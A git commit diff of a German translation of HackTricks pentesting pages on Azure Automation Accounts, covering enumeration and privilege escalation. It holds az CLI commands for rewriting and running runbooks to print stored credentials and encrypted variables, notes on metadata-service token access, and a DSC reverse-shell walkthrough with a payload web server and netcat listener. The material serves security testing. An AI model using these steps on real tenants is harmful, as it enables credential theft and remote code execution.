Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 13:19:28 +00:00
parent f66432cb43
commit 895530d894
2 changed files with 75 additions and 29 deletions

View File

@@ -10,11 +10,20 @@ Für weitere Informationen siehe:
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebigen Code) in einem Hybrid Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC eines anderen Clouds oder sogar eine Azure-VM sein.
Darüber hinaus, wenn der Hybrid Worker in Azure mit anderen verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen.
> [!TIP]
> Denke daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automation Account, die Sie verwenden könnten, um **Code** im Kontext des Automation Accounts auszuführen und Berechtigungen auf die zugewiesenen **Managed Identities** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen** zu leaken, die im Automation Account gespeichert sind.
Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automatisierungskonto, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Berechtigungen auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen**, die im Automatisierungskonto gespeichert sind, zu leaken.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automation Account zu ändern mit:
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -27,18 +36,22 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu erhalten, die im Automation Account gespeichert ist.
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu erhalten, die im Automatisierungskonto gespeichert ist.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto zu veröffentlichen, sodass die Änderungen angewendet werden.
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** erlaubt es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/output/read`** ermöglicht es dem Benutzer, die Ausgabe eines Jobs im Automatisierungskonto zu lesen mit:
```bash
@@ -91,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen, indem man:
Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen mit:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -110,7 +123,7 @@ az rest --method PUT \
}'
```
> [!TIP]
> Im vorherigen Beispiel wurde die Jobplanungs-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
> Im vorherigen Beispiel wurde die Job-Schedule-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
### `Microsoft.Automation/automationAccounts/webhooks/write`
@@ -140,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den **Code eines Runbooks** zu aktualisieren, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, **den Code eines Runbooks zu aktualisieren**, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -180,16 +194,32 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation Account importieren und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**.
Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation Account importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**.
Außerdem beachten Sie, dass für die Quellsteuerung in Automation Accounts eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, kann dies auch konfiguriert werden, indem in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** die **Client-ID** der zu verwendenden benutzerverwalteten Identität festgelegt wird.
Außerdem beachten Sie, dass für die Quellkontrolle in Automation Accounts eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
> [!TIP]
> Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellsteuerung zu ändern, sobald sie erstellt wurde.
> Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellkontrolle zu ändern, sobald sie erstellt wurde.
### `Microsoft.Automation/automationAccounts/variables/write`
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/variables/write`** ist es möglich, Variablen im Automation Account mit dem folgenden Befehl zu schreiben.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### Benutzerdefinierte Laufzeitumgebungen
Wenn ein Automation Account eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie **einer Hintertür**) zu überschreiben. Auf diese Weise wird, wann immer ein Runbook, das diese benutzerdefinierte Laufzeit verwendet, ausgeführt wird und das benutzerdefinierte Paket lädt, der schädliche Code ausgeführt.
Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie **einer Hintertür**) zu überschreiben. Auf diese Weise wird der schädliche Code jedes Mal ausgeführt, wenn ein Runbook, das diese benutzerdefinierte Laufzeit verwendet, ausgeführt wird und das benutzerdefinierte Paket lädt.
### Kompromittierung der Statuskonfiguration
@@ -201,7 +231,7 @@ Wenn ein Automation Account eine benutzerdefinierte Laufzeitumgebung verwendet,
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren.
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfade und Server-/Nutzlast-Identifikatoren.
- Schritt 2 — Konfigurationsdatei zippen
@@ -209,9 +239,9 @@ Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie fü
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Schritt 3 — Speicher-Kontext festlegen & Hochladen
- Schritt 3 — Speicher-Kontext festlegen & hochladen
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Set-AzStorageBlobContent-Cmdlet von Azure hochgeladen.
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
@@ -234,6 +264,6 @@ Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen m
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen.
Die geplante Aufgabe führt die Payload aus und erreicht SYSTEM-Ebene Berechtigungen.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Grundinformationen
Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren**, wie z.B. Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht.
Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren** wie Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht.
### Einstellungen
@@ -18,7 +18,7 @@ Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die
Ein Runbook in Azure Automation ist ein **Skript, das Aufgaben automatisch** in Ihrer Cloud-Umgebung ausführt. Runbooks können in PowerShell, Python oder grafischen Editoren geschrieben werden. Sie helfen, administrative Aufgaben wie VM-Management, Patchen oder Compliance-Prüfungen zu automatisieren.
Im **Code**, der sich in **Runbooks** befindet, könnten **sensible Informationen** (wie Anmeldeinformationen) enthalten sein.
Im **Code**, der sich innerhalb der **Runbooks** befindet, könnten **sensible Informationen** (wie Anmeldeinformationen) enthalten sein.
Gehe zu `Automatisierungskonten` --> `<Automatisierungskonto auswählen>` --> `Runbooks/Jobs/Hybride Arbeitsgruppen/Watcher-Aufgaben/Anmeldeinformationen/Variablen/Zertifikate/Verbindungen`
@@ -44,9 +44,9 @@ Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und
Wenn die Synchronisierung aktiviert ist, wird im **Github-Repository ein Webhook erstellt**, um die Synchronisierung jedes Mal auszulösen, wenn ein Push-Ereignis auftritt. Beispiel einer Webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Beachten Sie, dass diese Webhooks **nicht sichtbar** sind, wenn Webhooks in den zugehörigen Runbooks zum Github-Repo aufgelistet werden. Beachten Sie auch, dass es **nicht möglich ist, die Repo-URL** einer Quellcodeverwaltung zu ändern, sobald sie erstellt wurde.
Beachten Sie, dass diese Webhooks **nicht sichtbar sein werden**, wenn Webhooks in den zugehörigen Runbooks zum Github-Repo aufgelistet werden. Beachten Sie auch, dass es **nicht möglich ist, die Repo-URL** einer Quellcodeverwaltung zu ändern, sobald sie erstellt wurde.
Damit die konfigurierte Quellcodeverwaltung funktioniert, muss das **Azure Automatisierungskonto** eine verwaltete Identität (System oder Benutzer) mit der Rolle **`Contributor`** haben. Darüber hinaus ist es möglich, eine benutzerdefinierte verwaltete Identität dem Automatisierungskonto zuzuweisen, indem die Variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** auf die **Client-ID der benutzerdefinierten verwalteten Identität** gesetzt wird.
Damit die konfigurierte Quellcodeverwaltung funktioniert, muss das **Azure Automatisierungskonto** eine verwaltete Identität (System oder Benutzer) mit der Rolle **`Contributor`** haben. Darüber hinaus muss zur Zuweisung einer benutzerdefinierten verwalteten Identität zum Automatisierungskonto die Client-ID der Benutzer-MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
### Laufzeitumgebungen
@@ -61,14 +61,21 @@ Beim Erstellen eines Runbooks ist es möglich, die Laufzeitumgebung auszuwählen
Es ist jedoch auch möglich, **eigene Umgebungen zu erstellen**, indem eine dieser Umgebungen als Basis verwendet wird. Im Fall von Python ist es möglich, `.whl`-Pakete in die Umgebung hochzuladen, die verwendet werden. Im Fall von PowerShell ist es möglich, `.zip`-Pakete mit den Modulen hochzuladen, die in der Laufzeit vorhanden sein sollen.
### Hybrider Worker
### Hybride Arbeitsgruppen
Ein Runbook kann in einem **Container innerhalb von Azure** oder in einem **hybriden Worker** (nicht-Azure-Maschine) ausgeführt werden.\
Der **Log Analytics Agent** wird auf der VM bereitgestellt, um sie als hybriden Worker zu registrieren.\
Die hybriden Worker-Jobs werden als **SYSTEM** unter Windows und als **nxautomation**-Konto unter Linux ausgeführt.\
Jeder hybride Worker ist in einer **Hybriden Worker-Gruppe** registriert.
In Azure Automation ist die Standardausführungsumgebung für Runbooks die **Azure Sandbox**, eine cloudbasierte Plattform, die von Azure verwaltet wird und sich für Aufgaben mit Azure-Ressourcen eignet. Diese Sandbox hat jedoch Einschränkungen, wie eingeschränkten Zugriff auf lokale Ressourcen und Beschränkungen hinsichtlich der Ausführungszeit und Ressourcennutzung. Um diese Einschränkungen zu überwinden, werden hybride Arbeitsgruppen eingesetzt. Eine hybride Arbeitsgruppe besteht aus **einem oder mehreren Hybrid Runbook Workers, die auf Ihren eigenen Maschinen installiert sind**, sei es vor Ort, in anderen Cloud-Umgebungen oder Azure-VMs. Diese Konfiguration ermöglicht es Runbooks, direkt auf diesen Maschinen ausgeführt zu werden, was direkten Zugriff auf lokale Ressourcen, die Möglichkeit, längere und ressourcenintensive Aufgaben auszuführen, und die Flexibilität bietet, mit Umgebungen zu interagieren, die über den unmittelbaren Zugriff von Azure hinausgehen.
Daher, wenn Sie wählen können, ein **Runbook** in einem **Windows-Hybriden Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
Wenn eine hybride Arbeitsgruppe erstellt wird, müssen die **Anmeldeinformationen** angegeben werden, die verwendet werden sollen. Es gibt 2 Optionen:
- **Standardanmeldeinformationen**: Sie müssen die Anmeldeinformationen nicht angeben, und die Runbooks werden innerhalb der VMs als **System** ausgeführt.
- **Spezifische Anmeldeinformationen**: Sie müssen den Namen des Anmeldeinformationsobjekts im Automatisierungskonto angeben, das verwendet wird, um die **Runbooks innerhalb der VMs** auszuführen. Daher könnte es in diesem Fall möglich sein, **gültige Anmeldeinformationen** für die VMs zu **stehlen**.
Wenn Sie also wählen können, ein **Runbook** in einem **Windows Hybrid Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten ausgeführt wird, kann das Runbook auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM vom Metadatenservice** zugreifen.
> [!TIP]
> Denken Sie daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**).
### Statuskonfiguration (SC)
@@ -77,7 +84,7 @@ Daher, wenn Sie wählen können, ein **Runbook** in einem **Windows-Hybriden Wor
Automatisierungskonten unterstützen auch **Statuskonfiguration (SC)**, eine Funktion, die hilft, den **Zustand** Ihrer VMs zu **konfigurieren** und **aufrechtzuerhalten**. Es ist möglich, DSC-Konfigurationen für **Windows**- und **Linux**-Maschinen zu **erstellen** und **anzuwenden**.
Aus der Perspektive eines Angreifers war dies interessant, da es ermöglichte, **willkürlichen PS-Code in allen konfigurierten VMs auszuführen**, was eine Eskalation der Berechtigungen zu den verwalteten Identitäten dieser VMs ermöglichte, potenziell um in neue Netzwerke zu pivotieren... Außerdem könnten die Konfigurationen **sensible Informationen** enthalten.
Aus der Perspektive eines Angreifers war dies interessant, da es ermöglichte, **willkürlichen PS-Code in allen konfigurierten VMs auszuführen**, was eine Eskalation der Berechtigungen zu den verwalteten Identitäten dieser VMs ermöglichte, was potenziell zu neuen Netzwerken führen könnte... Außerdem könnten die Konfigurationen **sensible Informationen** enthalten.
## Aufzählung
```bash
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get hybrid worker groups for an automation account
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get hybrid worker group details
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
# Get more details about a hybrid worker group (like VMs inside it)
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
@@ -212,7 +228,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Privilegieneskalation & Nach der Ausnutzung
## Privilegieneskalation & Nachausnutzung
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md